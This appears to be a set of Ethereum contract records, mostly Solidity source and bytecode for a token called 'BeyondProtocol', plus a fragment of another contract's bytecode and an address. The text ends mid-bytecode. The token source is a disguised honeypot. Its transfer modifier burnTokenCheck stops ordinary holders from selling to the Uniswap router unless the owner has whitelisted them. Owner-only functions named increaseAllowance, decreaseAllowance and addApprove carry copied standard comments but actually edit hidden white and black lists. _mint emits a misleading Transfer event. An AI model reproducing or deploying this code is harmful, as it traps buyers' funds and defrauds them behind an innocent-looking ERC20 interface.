060020a03600435166024356109ac565b610193610331565b34801561031657600080fd5b506101e0600160a060020a03600435811690602435166109c0565b33600090815260016020526040812054610351903463ffffffff6109eb16565b3360009081526001602052604081209190915554610375903463ffffffff6109eb16565b60005560408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a250600190565b60408051808201909152600a81527f5665696c20457468657200000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b336000908152600160205260408120548311156104b8576040805160e560020a62461bcd02815260206004820152601960248201527f496e73756666696369656e7420757365722062616c616e636500000000000000604482015290519081900360640190fd5b600160a060020a0382161515610518576040805160e560020a62461bcd02815260206004820152601660248201527f496e76616c696420746172676574206164647265737300000000000000000000604482015290519081900360640190fd5b33600090815260016020526040902054610538908463ffffffff6109fd16565b336000908152600160205260408120919091555461055c908463ffffffff6109fd16565b6000908155604051600160a060020a0384169185156108fc02918691818181858888f19350505050158015610595573d6000803e3d6000fd5b5060408051848152905133917f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65919081900360200190a250600192915050565b60005490565b600160a060020a03831660009081526001602052604081205482111561064b576040805160e560020a62461bcd02815260206004820152601960248201527f496e73756666696369656e7420757365722062616c616e636500000000000000604482015290519081900360640190fd5b600160a060020a038416331480159061066f575060001961066c85336109c0565b14155b1561072e578161067f85336109c0565b10156106d5576040805160e560020a62461bcd02815260206004820152601b60248201527f496e73756666696369656e74207573657220616c6c6f77616e63650000000000604482015290519081900360640190fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054610709908363ffffffff6109fd16565b600160a060020a03851660009081526002602090815260408083203384529091529020555b600160a060020a038416600090815260016020526040902054610757908363ffffffff6109fd16565b600160a060020a03808616600090815260016020526040808220939093559085168152205461078c908363ffffffff6109eb16565b600160a060020a0380851660008181526001602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60016020526000908152604090205481565b6000610809610331565b5061081483836103eb565b5060019392505050565b33600090815260016020526040812054821115610885576040805160e560020a62461bcd02815260206004820152601960248201527f496e73756666696369656e7420757365722062616c616e636500000000000000604482015290519081900360640190fd5b336000908152600160205260409020546108a5908363ffffffff6109fd16565b33600090815260016020526040812091909155546108c9908363ffffffff6109fd16565b6000908155604051339184156108fc02918591818181858888f193505050501580156108f9573d6000803e3d6000fd5b5060408051838152905133917f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65919081900360200190a2506001919050565b601281565b600260209081526000928352604080842090915290825290205481565b600160a060020a031660009081526001602052604090205490565b60408051808201909152600881527f5665696c20455448000000000000000000000000000000000000000000000000602082015281565b60006109b93384846105db565b9392505050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000828201838110156109b957600080fd5b60008083831115610a0d57600080fd5b50509003905600a165627a7a72305820477b4d0c0102260a075d1f8320bdd91de3ae743e7aefaf16928e62cd2bcbf06c0029
{"success": true, "error": null, "results": {}}
4,860
0xfd8a75e4862a7e74e331ec683c7cc4b5e531136e
pragma solidity ^0.6.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BeyondProtocol is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IER C20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffff